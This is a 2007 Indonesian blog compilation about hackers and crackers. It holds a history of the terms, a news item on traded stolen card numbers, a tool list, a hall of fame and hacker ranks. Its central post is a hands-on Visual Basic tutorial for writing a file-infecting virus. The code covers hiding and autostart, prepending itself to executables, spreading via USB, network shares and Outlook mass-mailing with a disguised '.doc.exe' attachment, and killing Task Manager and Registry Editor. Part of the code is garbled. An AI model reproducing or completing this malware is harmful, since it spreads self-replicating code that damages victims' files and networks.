Sabtu, 17 November 2007

Hacker dan Cracker

Hacker dan Cracker
Rabu, 18 Mei 05 - oleh :wink salangga

Hacker muncul pada awal tahun 1960-an diantara para anggota organisasi mahasiswa Tech Model Railroad Club di Laboratorium Kecerdasan Artifisial Massachusetts Institute of Technology (MIT). Kelompok mahasiswa tersebut merupakan salah satu perintis perkembangan teknologi komputer dan mereka beroperasi dengan sejumlah komputer mainframe. Kata hacker pertama kali muncul dengan arti positif untuk menyebut seorang anggota yang memiliki keahlian dalam bidang komputer dan mampu membuat program komputer yang lebih baik dari yang telah dirancang bersama. Kemudian pada tahun 1983, analogi hacker semakin berkembang untuk menyebut seseorang yang memiliki obsesi untuk memahami dan menguasai sistem komputer. Pasalnya, pada tahun tersebut untuk pertama kalinya FBI menangkap kelompok kriminal komputer The 414s yang berbasis di Milwaukee AS. 414 merupakan kode area lokal mereka. Kelompok yang kemudian disebut hacker tersebut dinyatakan bersalah atas pembobolan 60 buah komputer, dari komputer milik Pusat Kanker Memorial Sloan-Kettering hingga komputer milik Laboratorium Nasional Los Alamos. Salah seorang dari antara pelaku tersebut mendapatkan kekebalan karena testimonialnya, sedangkan 5 pelaku lainnya mendapatkan hukuman masa percobaan.

Kemudian pada perkembangan selanjutnya muncul kelompok lain yang menyebut-nyebut diri hacker, padahal bukan. Mereka ini (terutama para pria dewasa) yang mendapat kepuasan lewat membobol komputer dan mengakali telepon (phreaking). Hacker sejati menyebut orang-orang ini 'cracker' dan tidak suka bergaul dengan mereka. Hacker sejati memandang cracker sebagai orang malas, tidak
bertanggung jawab, dan tidak terlalu cerdas. Hacker sejati tidak setuju jika dikatakan bahwa dengan menerobos keamanan seseorang telah menjadi hacker.

Para hacker mengadakan pertemuan setiap setahun sekali yaitu diadakan setiap pertengahan bulan Juli di Las Vegas. Ajang pertemuan hacker terbesar di dunia tersebut dinamakan Def Con. Acara Def Con tersebut lebih kepada ajang pertukaran informasi dan teknologi yang berkaitan dengan aktivitas hacking.

Hacker adalah sebutan untuk mereka yang memberikan sumbangan yang bermanfaat kepada jaringan komputer, membuat program kecil dan membagikannya dengan orang-orang di Internet. Sebagai contoh : digigumi (Grup Digital) adalah sebuah kelompok yang mengkhususkan diri bergerak dalam bidang game dan komputer. Digigumi ini menggunakan teknik teknik hexadecimal untuk mengubah teks yang terdapat di dalam game. Contohnya, game Chrono Trigger berbahasa Inggris dapat diubah menjadi bahasa Indonesia. Oleh karena itu, status Digigumi adalah hacker, namun bukan sebagai perusak. Hacker disini artinya, mencari, mempelajari dan mengubah sesuatu untuk keperluan hobi dan pengembangan dengan mengikuti legalitas yang telah ditentukan oleh developer game. Para hacker biasanya melakukan penyusupan-penyusupan dengan maksud memuaskan pengetahuan dan teknik. Rata - rata perusahaan yang bergerak di dunia jaringan global (internet) juga memiliki hacker. Tugasnya yaitu untuk menjaga jaringan dari kemungkinan perusakan pihak luar "cracker", menguji jaringan dari kemungkinan lobang yang menjadi peluang para cracker mengobrak - abrik jaringannya, sebagai contoh : perusahaan asuransi dan auditing "Price Waterhouse". Ia memiliki team hacker yang disebut dengan Tiger Team. Mereka bekerja untuk menguji sistem sekuriti client mereka.

Cracker adalah sebutan untuk mereka yang masuk ke sistem orang lain dan cracker lebih bersifat destruktif, biasanya di jaringan komputer, mem-bypass password atau lisensi program komputer, secara sengaja melawan keamanan komputer, men-deface (merubah halaman muka web) milik orang lain bahkan hingga men-delete data orang lain, mencuri data dan umumnya melakukan cracking untuk keuntungan sendiri, maksud jahat, atau karena sebab lainnya karena ada tantangan. Beberapa proses pembobolan dilakukan untuk menunjukan kelemahan keamanan sistem.

Rabu, 07 November 2007

NO kARTU KREDIT DIJUAL SECARA BEBAS OLEH PARA HACKER

London - Ribuan detil kartu kredit milik orang-orang Britania dijual di internet. Detil informasi tersebut dijual oleh para hacker jahat, tentu saja dengan niat melakukan penipuan identitas.

Sedikitnya ada 400 nomor kartu kredit yang dijual per harinya. Hacker juga menjual informasi pribadi lainnya seperti tanggal lahir. Demikian dilaporkan koran nasional yang terbit harian di Inggris, The Times dan dikutip detikINET dari AFP, Senin (17/4/2006).

Aktifitas dagang ini tidak dilakukan melalui situs lelang, tapi lewat chatroom internet. Untuk setiap nomor kartu kredit, hacker membandrolnya dengan harga US$ 1. Sedangkan kartu berkode tiga digit dibandrol US$ 5 (US$ 1 = Rp 8.990 Sumber: detikcom).

Hacker tidak hanya membidik konsumen yang membeli barang-barang secara online. Ini bukti bahwa perusahaan berbasis internet bukanlah satu-satunya sasaran hacker untuk mencuri informasi pribadi pelanggan.

Gerombolan pencuri online itu, menurut The Times, kemungkinan beroperasi di luar Eropa Timur dan Asia Tenggara.

Card Cops, perusahaan asal Amerika Serikat yang biasa mengamati perdagangan detil informasi curian di Internet Relay Chatrooms (IRC), mengatakan diperkirakan ada sebanyak 300 hingga 400 data pelanggan Inggris yang diperdagangkan setiap harinya.

"Kami mengamati ratusan rooms tapi kami tidak mengawasi semua operator. Pelakunya biasa pergi dari satu forum ke forum lainnya. Masalah pencurian seperti ini tampaknya makin meningkat," ujar Kepala Card Cops, Dan Clements kepada The Times.

Sementara itu, Menteri Perdagangan Inggris Alun Michael, mengatakan masalah tersebut sangat meresahkan masyarakatnya dan pemerintah berjanji untuk menanganinya dengan serius. Di sisi lain, Serious Organised Crime Agency yang baru-baru dibentuk Britania juga siap memberantas kejahatan komputer seperti itu.(WINK)

Selasa, 06 November 2007

Tools para hacker dalam melakukan penyerangan...

Tool apa saja yang biasa di pakai seorang hacker ? Ada banyak tool dari berbagai situs "hackX0r" di internet, bagaimana kita mengetahui apa yang kita perlukan dan mana yang tidak? Baiklah, pada posting ini akan coba dijelaskan beberapa tool dasar yang seringkali hacker gunakan. Namun perlu di ketahui bahwa tidak semua hacker memerlukan atau menggunakan tool-tool ini, tapi kebanyakan sich begitu.
Daftar tool yang tertulis disini tidaklah lengkap, dan setiap hari ada saja program baru yang dirilis oleh hacker, jadi hanya dasar-dasarnya.

CATATAN: Jangan mendownload program apapun dari website hacking yang di host angelfire, geocities , tripod atau warez. Mengapa? karena besar kemungkinan berisikan trojan, worm, virus dan berbagai kode jahat lainnya. Saya sarankan untuk mendownload program tersebut melalui website www.packetstromsecurity.org, www.yogyafree.net

Berikut ini tool yang umum digunakan oleh hacker:

PORT SCANNER
melakukan scanning target untuk melihat port mana saja yang terbuka.

LANGUAGE INTERPRETER
atau COMPILER
Melakukan kompilasi script dan program.

CGI VULN SCANNER

melakukan scanning untuk melihat celah keamanan cgi.

EXPLOIT

mencoba memperoleh akses sebagai superuser pada suatu sistem.

ROOTKIT

agar tetap hidden dan membuat 'backdoor' agar mudah mengakses sistem tersebut nantinya.

TROJAN

mendapatkan akses ke suatu sistem sekedar mengeksploitasi user yang rada-rada bodoh ... hehehe.

SNIFFER

mengumpulkan data dari suatu jaringan komputer.

BRUTE FORCER

mencoba berbagai kombinasi karakter hingga mendapatkan password yang sebenarnya.

WINGATE SCANNER

Scan terhadap ip dan memeriksa apakah ada WinGate yang terinstall

GDB

gnu debugger untuk mempelajari lebih dalam tentang bagaimana program tersebut bekerja.

GCC

gnu c compiler untuk kompilasi program C dan menjadikannya program tersebut lebih mudah dipahami dan digunakan.

Kira-kira demikian yang dapat disampaikan, ini hanyalah daftar umum dan tidaklah lengkap. Sekali kita memiliki tool ini kita dapat bergerak ke tingkat lanjut. Hanya saja, jangan mencoba seluruh program sejenis "NUkeR-2k" atau berbagai program yang ditawarkan melalui berbagai website yang tidak resmi dan kurang terkenal hanya karena ingin tampil beda. Buang-buang waktu saja!

Dan sekali lagi, tulisan ini pernah saya baca dan saya posting ulang hanya dengan satu tujuan yaitu Pengetahuan saja, untuk lebih detail cara penggunaanya silahkan mencoba.

always fun.....

Syarat sebuah virus computer :

Syarat sebuah virus computer :
1. Menyembunyikan prosesnya dari pemakai
2. Mengaktifkan dirinya setiap startup sistem
3. Menyebarkan dirinya melalui media file executable
4. Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
5. Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
6. Menyebarkan dirinya dengan filename spoofing.
7. Mempercepat proses penyebarannya dengan pendekatan social engineering
8. Berusaha mempertahankan existensi dirinya

Tanpa menggunakan teori yang panjang dan lebar, kita akan membahas bagaimana hal tersebut diatas dapat dilakukan dengan menggunakan bahasa pemrograman Visual Basic.

Menyembunyikan prosesnya dari pemakai

Agar program tidak menampilkan dirinya pada Task Bar, dapat digunakan perintah :

App.TaskVisible = False

Kemudian untuk menyembunyikan form dapat menggunakan :

Me.Visible = False

Mengaktifkan dirinya setiap startup sistem

Agar program exe dapat diaktifkan setiap kali startup system, kita dapat menduplikasi program ke suatu folder dengan perintah :

FileCopy app.Path & "\" & app.EXEName , environ$("windir") & "\" & app.EXEName

dan menambah ke registry :

Dim WShell as Object
Set WShell = CreateObject("WScript.Shell")
WShell.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\virusku", environ$("windir") & "\" & app.EXEName
Set WShell = Nothing
Menyebarkan dirinya melalui media file executable

Program virus harus dapat menginfeksi program-program executable dengan proses sebagai berikut :

Program Executable

Setelah terinfeksi oleh program virus menjadi :

Program Virus + Program Executable + Ukuran Virus + Signature Virus

Sehingga setiap kali program yang telah terinfeksi dijalankan, maka Program Virus akan menginstalasi dirinya ke computer korban dan mengembalikan proses ke Program Executable.

Jadi pada saat program terinfeksi dijalankan, maka Program Executable harus di pulihkan kembali dengan melakukan perhitungan :

Posisi Program Executable = Ukuran File – Ukuran Virus – Ukuran Signature Virus

Sesuatu hal yang harus diperhatikan adalah infeksi terhadap Program Executable tidak boleh dilakukan berulang-ulang dan tidak boleh menginfeksi diri Program Virus sendiri, sehingga harus ditambahkan suatu Signature Virus

Private Sub PeriksadanInfeksiExe(fname As String)
Dim tSignature As String * 5
Dim OriginalCode As String
Dim fNum As Integer
'Jangan menginfeksi diri sendiri
'Hanya menginfeksi file berukuran lebih dibawah 1 Mega
If Dir(fname) <> "" Then
If FileLen&(fname) > virSize And FileLen&(fname) < fnum =" FreeFile" tsignature =" Space$(5)"> virSignature Then 'jika file virus (tidak ada virSignature)
On Error GoTo finally
Open fname For Binary Access Read Write As fNum 'Buka file target
OriginalCode = Space$(LOF(fNum))
Get fNum, , OriginalCode 'baca Program Executable
Put fNum, 1, virCode 'tulis Program Virus diawal
Put fNum, , OriginalCode 'tulis Program Executable
Put fNum, , virSize 'tulis Ukuran Virus
Put fNum, , virSignature 'tulis Signature Virus
Close fNum
finally:
End If
End If
End If
End Sub

Ketika program Executable dijalankan maka :

Private Sub VirusInitial()
Dim OriginalCode As String
Dim tSignature As String * 5
Dim fNum As Integer
Dim fname As String

virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203)

Open exePath + App.EXEName + ".exe" For Binary Access Read As #1
Seek #1, LOF(1) - 5 + 1 'pindah file pointer ke posisi virSize
tSignature = Space$(5)
Get #1, , tSignature 'baca virSignature

If tSignature <> virSignature Then 'Jika file virus sendiri
virSize = LOF(1) 'ukuran virSize sama dengan ukuran file
virCode = Space$(virSize) 'siapkan buffer virCode
Seek #1, 1 'ke posisi bof
Get #1, , virCode 'baca virCode sebesar ukuran virSize
Close #1

Call VirInstall 'instalasi virus

If Not SudahLoad Then
Load ff 'aktifkan timer virus
End If

'Jika file yang terinfeksi
Else
Seek #1, LOF(1) - 9 + 1 'pindah file pointer ke posisi virSize
Get #1, , virSize 'baca virSize (long = 4 byte)
'Baca vircode
virCode = Space$(virSize)
Seek #1, 1 'ke posisi BOF (Awal file)
Get #1, , virCode 'baca virCode sebesar ukuran virSize

OriginalCode = Space$(LOF(1) - virSize) 'siapkan buffer
Get #1, , OriginalCode 'baca originalCode

fNum = 0
Do While Dir(exePath & App.EXEName & fNum & ".exe") <> ""
fNum = fNum + 1
Loop

fname = exePath & App.EXEName & fNum & ".exe"

On Error GoTo finally
Open fname For Binary Access Write As #2
Put #2, , OriginalCode 'tulis ke file sementara
Close #2 'tutup file sementara
finally:

Close #1

Call VirInstall

If Not SudahLoad Then
Load ff 'aktifkan timer virus
End If

Call ExecuteOriginal(fname)
Kill fname 'hapus file sementara
End If
End Sub

Private Sub ExecuteOriginal(fname)
Dim Host As Long, HProc As Long, HExit As Long
Host = Shell(fname, vbNormalFocus) 'jalankan fname
HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)
GetExitCodeProcess HProc, HExit 'ambil status aktif
Do While HExit = STILL_ACTIVE 'proses ditahan selama proses masih aktif
DoEvents 'lakukan event yang lain
GetExitCodeProcess HProc, HExit
Loop
End Sub

Private Function SudahLoad() As Boolean
Dim vir_hwnd As Long
'Jika Jendela virus aktif
vir_hwnd = FindWindow(vbNullString, titleSudahLoad)
SudahLoad = Not (vir_hwnd = 0)
End Function
Mempercepat proses penyebarannya melalui media pertukaran data dan informasi

Menyebarkan dirinya ke Floppy Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau terhadap keaktifkan jendela 3½ Floppy (A:) oleh pemakai.

Public Sub InfeksiFloppy()
On Error GoTo BatalInfeksi
Dim floppy_hwnd As Long
Dim fname As String
'Jika Jendela Floppy terbuka
floppy_hwnd = FindWindow(vbNullString, "3½ Floppy (A:)")
If Not floppy_hwnd = 0 Then
Call InfeksiResource("A:", "DOCXLS") 'Hanya infeksi Doc, Exe jangan
End If
BatalInfeksi:
End Sub

Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau removable drive diatas drive C.

Public Sub InfeksiFlashDisk()
On Error GoTo BatalInfeksi
Dim ObjFSO As Object
Dim ObjDrive As Object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
For Each ObjDrive In ObjFSO.Drives
'Asumsi semua removable drive diatas huruf C adalah flash disk
'1 - Removable drive
'2 - Fixed drive (hard disk)
'3 - Mapped network drive
'4 - CD-ROM drive
'5 - RAM disk
If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then
Call InfeksiResource(ObjDrive.DriveLetter + ":", "XLSDOC")
End If
Next
BatalInfeksi:
End Sub

Menyebarkan dirinya ke semua resource yang di Share pada computer yang terinfeksi :

Public Sub InfeksiMySharing()
Dim shares() As String, share As Variant, target As String
If GetShares("\\127.0.0.1", "Microsoft Windows Network", shares) = True Then
For Each share In shares
target = share
Call InfeksiResource(target, "XLSDOCEXE")
Next share
End If
End Sub

Menyebarkan dirinya ke semua resource share yang terbuka di LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya dalam suatu stack.

Public Sub AmbilDomain()
Dim Domains() As String, Domain As Variant
If GetShares("", "Microsoft Windows Network", Domains) = True Then
For Each Domain In Domains
If Not stackDomain.isFull Then
stackDomain.Push (Domain)
End If
Next Domain
End If
End Sub

Kemudian mengambil computer yang berada pada masing-masing Domain maupun Workgroup dalam suatu stack.

Public Sub AmbilComputer()
Dim Computers() As String, Domain As String, Computer As Variant
If Not stackDomain.isEmpty() Then
Domain = stackDomain.Pop()
If GetShares(Domain, "Microsoft Windows Network", Computers) = True Then
For Each Computer In Computers
If Not stackComputer.isFull Then
stackComputer.Push (Computer)
End If
Next Computer
End If
End If
End Sub

Dan Akhirnya mengambil semua resource yang dishare dari masing-masing Computer :

Public Sub AmbilDrive()
Dim Drives() As String, Computer As String, Drive As Variant
If Not stackComputer.isEmpty() Then
Computer = stackComputer.Pop()
If GetShares(Computer, "Microsoft Windows Network", Drives) = True Then
For Each Drive In Drives
If Not stackDrive.isFull Then
stackDrive.Push (Drive)
End If
Next Drive
End If
End If
End Sub

Public Sub InfeksiNetworkDrive()
Dim target As String
If Not stackDrive.isEmpty() Then
target = stackDrive.Pop()
Call InfeksiResource(target, "XLSDOCEXE")
End If
End Sub
Melakukan penyebaran melalui fasilitas email :

Public Sub SpreadEmailOutlook()
Dim Outlook As Object
Dim Mapi As Object
Dim Mail As Object
Dim AddressBook As Variant
Dim MailAddress As Variant
Dim i As Integer, j As Integer

On Error GoTo finally
Set Outlook = CreateObject("Outlook.Application")
Set Mapi = Outlook.GetNamespace("MAPI")

For i = 1 To Mapi.AddressLists.Count
Set AddressBook = Mapi.AddressLists(i)
For j = 1 To AddressBook.AddressEntries.Count
MailAddress = AddressBook.AddressEntries(j)

Set Mail = Outlook.CreateItem(0)

Mail.Recipients.Add (MailAddress)
Mail.Subject = "Subject Virus Anda"
Mail.Body = vbCrLf & "Pesan anda agar pemakai tertarik membuka attachment."
Mail.Attachments.Add Environ$("windir") & "\" & attachment & ".doc.exe"
Mail.Send
Next
Next

finally:
Set Outlook = Nothing
Set Mapi = Nothing
End Sub

Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system

Penulis tidak akan membahas tentang teknik yang satu ini. Pada dasarnya cara kerjanya adalah seperti ini, misalnya pada Windows yang otomatis menjalankan file dengan script extension tertentu (Contoh teknik virus Redlof), sehingga program virus dapat membuat script tersebut untuk mentrigger program virus.

Ada juga worms yang memanfaatkan kelemahan Outlook Express, dimana secara otomatis menjalankan Attachment tanpa klik dari pemakai.

Ada juga worms yang menyebarkan diri melalui website, dimana jika anda mengunjungi suatu website dengan software browser yang memiliki kelemahan, maka secara otomatis browser mendownload kode yang tidak diinginkan dan menjalankannya.

Ada juga worms yang menyebar melalui media Bluetooth yang dalam keadaan terbuka.

Menyebarkan dirinya dengan filename spoofing.

Teknik filename spoofing banyak digunakan oleh worms dewasa ini dengan menggunakan double extension :

Misalnya :

SuratCinta.doc.pif

Pada system yang settingnya tidak menampilkan extension file maka file tersebut diatas ditampilkan pada system sebagai :

SuratCinta.doc

Mempercepat proses penyebarannya dengan pendekatan social engineering.

Teknik ini adalah gampang-gampang sudah, tetapi sangat mempengaruhi penyebaran dan siklus hidup virus anda. Social engineering banyak digunakan oleh hacker-hacker untuk memperdaya dengan pendekatan non-teknis computer, tetapi lebih cenderung kepada pendekatan manusia.

Banyak virus menyebar dengan memanfaatkan kesenangan orang akan materi-materi pornografi, yaitu dengan membuat membuat nama-nama file, maupun pesan email yang memancing korban untuk penasaran membuka attachment.

Ada juga virus yang disebarkan pada game-game maupun crack software yang menumpang pada program tersebut.

Berusaha mempertahankan existensi dirinya

Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus tersebut :

WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableRegistryTools", 0, "REG_DWORD"
WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableCMD", 0, "REG_DWORD"

Maupun melacak jendela proses-proses musuh, dan menutupnya.

Public Sub KillEnemy()
Dim EnemyProcess(20) As String
Dim i As Integer
EnemyProcess(1) = "Registry Editor"
EnemyProcess(2) = "Windows Task Manager"
EnemyProcess(3) = "Process Viewer"
EnemyProcess(4) = "Open With"
For i = 1 To 4 Step 1
Call KillEnemyWindow(EnemyProcess(i))
Next i
End Sub

Private Sub KillEnemyWindow(target As String)
Dim Enemy_hwnd As Long
Enemy_hwnd = FindWindow(vbNullString, target)
If Not Enemy_hwnd = 0 Then
CloseWindow (Enemy_hwnd)
End If
End Sub

Kesimpulan :

Pemrograman virus sangat membutuhkan pengetahuan tentang bagaimana proses-proses system operasi yang berpotensi digunakan sebagai sarana penyebaran, serta perintah-perintah pemrograman yang dapat digunakan untuk mewujudkan proses tersebut. Jadi tidak diperlukan algoritma yang rumit, sehingga dapat dengan mudah dilakukan oleh programmer-programmer pemula.

Keberhasilan menerapkan teknik social engineering akan menentukan kesuksesan dan siklus hidup virus anda.

Lampiran A

‘API Declaration Modul

Option Explicit

Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function CloseWindow Lib "user32" (ByVal hwnd As Long) As Long

Public Const STILL_ACTIVE As Long = &H103
Public Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Public Type NETRESOURCE
dwScope As Long
dwType As Long
dwDisplayType As Long
dwUsage As Long
lpLocalName As Long
lpRemoteName As Long
lpComment As Long
lpProvider As Long
End Type

Public Declare Function WNetOpenEnum Lib "mpr.dll" Alias "WNetOpenEnumA" _
(ByVal dwScope As Long, ByVal dwType As Long, ByVal dwUsage As Long, _
lpNetResource As NETRESOURCE, lphEnum As Long) As Long
Public Declare Function WNetEnumResource Lib "mpr.dll" Alias "WNetEnumResourceA" _
(ByVal hEnum As Long, lpcCount As Long, lpBuffer As NETRESOURCE, lpBufferSize As Long) As Long
Public Declare Function WNetCloseEnum Lib "mpr.dll" (ByVal hEnum As Long) As Long
Public Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal pString As Long) As Long
Public Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" _
(ByVal lpString1 As String, ByVal pString As Long) As Long

Const RESOURCE_GLOBALNET = 2
Const RESOURCETYPE_DISK = 1
Const RESOURCEDISPLAYTYPE_DOMAIN = 0
Const RESOURCEUSAGE_CONTAINER = 1

Function GetShares(ByVal RemoteName As String, ByVal Provider As String, sShares() As String) As Boolean
Dim hEnum As Long, nrLen As Long, nrCount As Long
Dim nr(2048) As NETRESOURCE, retval As Boolean
nrCount = -1
nrLen = 65536
RemoteName = StrConv(RemoteName, vbFromUnicode)
nr(0).lpRemoteName = StrPtr(RemoteName)
Provider = StrConv(Provider, vbFromUnicode)
nr(0).lpProvider = StrPtr(Provider)
nr(0).dwType = RESOURCEDISPLAYTYPE_DOMAIN
nr(0).dwUsage = RESOURCEUSAGE_CONTAINER
If WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0, nr(0), hEnum) = 0 Then
If WNetEnumResource(hEnum, nrCount, nr(0), nrLen) = 0 Then
If nrCount > 0 Then
ReDim sShares(nrCount - 1) As String
For nrLen = 0 To (nrCount - 1)
sShares(nrLen) = Space(lstrlen(nr(nrLen).lpRemoteName))
Call lstrcpy(sShares(nrLen), nr(nrLen).lpRemoteName)
Next nrLen
retval = True
End If
End If
Call WNetCloseEnum(hEnum)
End If
GetShares = retval
End Function

Lampiran B

‘Form ff

Option Explicit
Dim SedangInfeksi As Boolean
Dim SpreadEmail As Boolean
Dim Aktifitas As Integer '0 = floppy, 1 = flashdisk
Dim Loncat As Integer

Private Sub AT_Timer()
Call KillEnemy
If Not SedangInfeksi Then ‘jangan overlapping proses
SedangInfeksi = True
If Aktifitas = 0 Then
Call InfeksiMySharing
ElseIf Aktifitas = 1 Then
Call AmbilDomain
ElseIf Aktifitas = 2 Then
Call AmbilComputer
ElseIf Aktifitas = 3 Then
Call AmbilDrive
ElseIf Aktifitas = 4 Then
Call InfeksiNetworkDrive
ElseIf Aktifitas = 5 Then
Call InfeksiFloppy
ElseIf Aktifitas = 6 Then
'Call InfeksiFlashDisk
ElseIf Aktifitas = 7 Then
Call InfeksiMySharing
ElseIf Aktifitas = 8 Then
If Not SpreadEmail Then
Call SpreadEmailOutlook
SpreadEmail = True
End If
Aktifitas = 1
End If
Aktifitas = (Aktifitas + 1)
SedangInfeksi = False
End If
End Sub

Main Program
Private Sub Form_Load()
Me.Visible = False
Me.Caption = titleSudahLoad
AT.Interval = 1000
SedangInfeksi = False
SpreadEmail = False
Aktifitas = 0
Loncat = 0
AT.Enabled = True
End Sub

Source

KOLEKSI PROFILE HACKER TERBAIK DUNIA.

KOLEKSI PROFILE HACKER TERBAIK DUNIA.

Seleksi alam yang terjadi dalam dunia hacker telah menyisihkan beberapa yang tidak mampu beradaptasi. Beberapa diantara mereka beralih profesi atau mulai melakukan sesuatu yang berbeda dari filosofi hacking. Mereka yang mampu bertahan menggoreskan namanya sebagai seorang demigod, seorang elite yang mengabdi kepada budaya hacker. Memang tidak layak membanding-bandingkan kemampuan seorang hacker - dan semua

individu -. Tidak-lah etis untuk menilai sesuatu secara universal, masing-masing substansi punya keunikan tersendiri. Dan uranium yang berpendar ketika gelap. Namun selalu ada causa prima, dan emas akan berbinar layaknya emas, walaupun didalam lumpur.

Dalam hal ini tidak ada perbandingan mutlak terhadap kehebatan seorang hacker. Hall of fame disini hanyalah kumpulan hacker-hacker yang telah mengabdi dan dikenal oleh masyarakat hacker secara umum.

1. Richard Stallman

Handle: tidak ada (tidak ada yang harus disembunyikan)

Salah seorang ‘Old School Hacker’, bekerja pada lab Artificial Intelligence MIT. Merasa terganggu oleh software komersial dan dan hak cipta pribadi. Akhirnya mendirikan GNU (baca: guhNew) yang merupakan singkatan dari GNU NOT UNIX. Menggunakan komputer pertama sekali pada tahun 1969 di IBM New York Scintific Center saat berumur 16 tahun.

2. Dennis Ritchie dan Ken Thomson

Handle: dmr dan ken

Dennis Ritchie adalah seorang penulis bahasa C, bersama Ken Thomson menulis sistem operasi UNIX yang elegan.

3. John Draper

Handle: Cap’n Crunch

Penemu nada tunggal 2600 Herz menggunakan peluit plastik yang merupakan hadiah dari kotak sereal. Merupakan pelopor penggunaan nada 2600 Hz dan dikenal sebagai Phone Phreaker (Phreaker, baca: frieker)

Nada 2600 Hz digunakan sebagai alat untuk melakukan pemanggilan telepon gratis. Pada pengembangannya, nada 2600 Hz tidak lagi dibuat dengan peluit plastik, melainkan menggunakan alat yang disebut ‘Blue Box’.

4. Mark Abene

Handle: Phiber Optik

Sebagai salah seorang ‘Master of Deception’ phiber optic menginspirasikan ribuan remaja untuk mempelajari sistem internal telepon negara. Phiber optik juga dinobatkan sebagai salah seorang dari 100 orang jenius oleh New York Magazine. Menggunakan komputer Apple ][, Timex Sinclair dan Commodore 64. Komputer pertamanya adalah Radio Shack TRS-80 (trash-80).

5. Robert Morris

Handle: rtm

Seorang anak dari ilmuwan National Computer Security Center -merupakan bagian dari National Security Agencies (NSA) -. Pertama sekali menulis Internet Worm yang begitu momental pada tahun 1988.Meng-infeksi ribuan komputer yang terhubung dalam jaringan.

6. Kevin Mitnick

Handle: Condor

Kevin adalah hacker pertama yang wajahnya terpampang dalam poster ‘FBI Most Wanted’.

Kevin juga seorang ‘Master of Deception’ dan telah menulis buku yang berjudul ‘The Art of Deception’. Buku ini menjelaskan berbagai teknik social engineering untuk mendapatkan akses ke dalam sistem.

7. Kevin Poulsen

Handle: Dark Dante

Melakukan penipuan digital terhadap stasiun radio KIIS-FM, memastikan bahwa ia adalah penelpon ke 102 dan memenangkan Porsche 944 S2.

8. Johan Helsingius

Handle: julf

Mengoperasikan anonymous remailer paling populer didunia.

9. Vladimir Levin

Handle: tidak diketahui

Lulusan St. Petersburg Tekhnologichesky University. Menipu computer CitiBank dan meraup keuntungan 10 juta dollar. Ditangkap Interpol di Heathrow Airport pada tahun 1995

10. Steve Wozniak

Handle: ?

Membangun komputer Apple dan menggunakan ‘blue box’ untuk kepentingan sendiri.

11. Tsutomu Shimomura

Handle: ?

Berhasil menangkap jejak Kevin Mitnick.

12. Linus Torvalds

Handle: ?

Seorang hacker sejati, mengembangkan sistem operasi Linux yang merupakan gabungan dari ‘LINUS MINIX’. Sistem operasi Linux telah menjadi sistem operasi ’standar’ hacker. Bersama Richard Stallman dengan GNU-nya membangun Linux versi awal dan berkolaborasi dengan programmer, developper dan hacker seluruh dunia untuk mengembangkan kernel Linux.

13. Eric Steven Raymond

Bapak hacker. Seorang hacktivist dan pelopor opensource movement. Menulis banyak panduan hacking, salah satunya adalah: ‘How To Become A Hacker’ dan ‘The new hacker’s Dictionary’. Begitu fenomenal dan dikenal oleh seluruh masyarakat hacking dunia. Menurut Eric, “dunia mempunyai banyak persoalan menarik dan menanti untuk dipecahkan.”

14. Ian Murphy

Handle: Captain Zap

Ian Muphy bersama 3 orang rekannya, melakukan hacking ke dalam komputer AT&T dan menggubah seting jam internal-nya. Hal ini mengakibatkan masyarakat pengguna telfon mendapatkan diskon ‘tengah malam’ pada saat sore hari, dan yang telah menunggu hingga tengah malam harus membayar dengan tagihan yang tinggi.


Sumber : www.echo.or.id

TINGKATAN MASYARAKAT HACKER

Beberapa bagian dari tulisan asli telah mengalami modifikasi dan penyesuaian. Beberapa yang kurang tepat juga telah saya hapus dan saya sesuaikan relatif terhadap pendapat saya sendiri. Mohon maaf.

Pada dasarnya, setiap pelaku TI atau praktisi hacking itu sendiri mendefenisikan konsep ‘HACKING’ yang berbeda. Tidak tertutup kemungkinan untuk terjadi perbedaan pendapat terhadap konsep yang di makhsud, namun cukup jadikan perbedaan pendapat sebagai sebuah kekayaan pemikiran.

Dalam perjalanan menuju pendewasaan, perubahan pola pikir dan kemampuan teknik, setiap manusia yang memasuki wilayah hacking akan melewati beberapa tingkatan.

1. Si Dungu

Saya rasa tidak berlebihan untuk menyebut masyarakat pada tingkatan ini dengan istilah dungu. Mereka hanya memiliki kemampuan teknis komputer yang rendah dan mengenal hacking dari surat kabar, bahwa hacker adalah seorang penjahat elektronik. Bahkan beberapa diantara mereka juga menulis di surat kabar dalam hal dan konsep yang sama.

2. Lamer

Lamer merupakan sebuah fenomenal awal remaja yang tertarik mempelajari hacking. Mereka mempunyai kemampuan komputer standar dan sedikit lebih banyak mendapat informasi. Mereka mencoba mencari petunjuk serangan praktis. Baik dari e-zine maupun melalui diskusi IRC (Chatting). Serangan dilakukan dengan trojan, sebuah remote administration tool yang memberikan akses terhadap mesin yang telah terinfeksi. Lamer juga melakukan benyak hal-hal tidak berguna, seperti tukar-menukar nomor kartu kredit, dan tukar-menukar password website porno komersial.

